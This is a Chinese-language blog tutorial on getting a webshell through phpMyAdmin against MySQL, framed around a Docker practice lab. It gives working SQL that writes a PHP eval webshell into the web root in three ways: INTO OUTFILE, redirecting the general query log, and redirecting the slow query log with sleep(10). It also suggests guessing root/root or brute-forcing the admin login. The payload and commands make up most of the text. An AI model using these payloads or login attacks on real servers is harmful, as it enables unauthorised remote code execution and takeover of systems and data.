PHPMyadmin-Mysql的Getshell姿势汇总
本文最后更新于456 天前,其中的信息可能已经过时

关于PHPMyAdmin

PHPMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。  它跟其他PHP程序一样在网页服务器上执行,可以在远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。  一般我们在通过对目标进行信息收集、目录扫描后,发现存在phpmyadmin后台,可通过弱口令(可以直接尝试下账号root密码root)或者暴力破解等多种技术进入管理后台。

靶场搭建

docker 下载镜像


docker pull registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.30

创建最新版容器


docker run  --name cnlamp  -p 8080:80 -p 3306:3306  -d registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.30
#映射端口需要结合实际情况自行设定
docker ps -a

获取phpmyadmin账号密码

docker命令

docker logs cnlamp

靶场截图

phpmyadmin地址:http://192.168.153.129:8080/phpmyadmin/

phpmyadmin截图:

一:直接写入shell文件

outfile和dumpfile写入shell 文件的区别


outfile:
--支持多行数据同时导出
--使用union联合查询时,要保证两侧查询的列数相同
--会在换行符制表符后面追加反斜杠
--会在末尾追加换行

dumpfile:
--每次只能导出一行数据
--不会在换行符制表符后面追加反斜杠
--不会在末尾追加换行

#因此我们平时直接写入命令的时候使用outfile即可,特定环境需要写入二进制文件时使用dumpfile。

利用条件


--对web目录需要有写权限能够使用单引号(root)

--知道网站绝对路径(phpinfo/php探针/通过报错等)

--secure_file_priv没有具体值

查询路径与查看secure_file_priv的信息


--select @@basedir;    查找绝对路径
--show global variables like '%secure_file_priv%';   查看有没有配置 secure_file_priv 功能
--NULL       表示不允许导入或导出
--/tmp       表示只允许在 /tmp 目录导入导出
--空         表示不限制目录

select 写 shell

select "<?php @eval($_POST['123']);?>" into outfile '/网站绝对路径/shell.php'

#网站绝对路径可借助phpinfo查看
#如果是linux服务器盲猜路径 /var/www/html

成功连接Shell

二:日志文件写 shell

在mysql中,查询语句会被写入到日志文件中去,可以通过phpMyAdmin后台执行sql语句开启日志功能,修改日志存储文件

 利用条件


--root权限
--知道网站绝对路径

general_log模式

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell。


--SHOW VARIABLES LIKE '%general%';   查看配置默认是关闭状态

--set global general_log = on;       开启general_log模式

--set global general_log_file='日志路径/shell02.php';   修改日志目录为shell地址 

--select "<?php @eval($_POST['123']);?>"        写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中

配置写马条件

select 写 shell

select "<?php @eval($_POST['123']);?>"

成功连接Shell

三:慢日志文件写 shell

在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。

    优势:数据库业务大的网站,几秒钟全局查询日志巨大,访问shell文件就会提示500错误,通过慢查询日志可以避免这个问题。

利用条


--root权限
--知道网站绝对路径

慢查询日志开放及写马命令


--show variables like '%slow_query_log%';      查看慢查询日志开启情况

--set global slow_query_log=on;         开启慢查询日志

--set global slow_query_log_file='绝对路径/shell03.php';   修改日志文件存储的绝对路径

--select "<?php @eval($_POST['123']);?>" or sleep(10);      向日志文件中写入shell

#使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
--show global variables like '%long_query_time%';

配置好写马条件

set global slow_query_log=on;         开启慢查询日志

set global slow_query_log_file='/var/www/html/shell03.php';

select 写 shell

select "<?php @eval($_POST['123']);?>" or sleep(10);

成功连接Shell

参考文章:PHPMyadmin的Getshell方法汇总

如果觉得本文对您有所帮助,可以支持下博主,一分也是缘😊
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇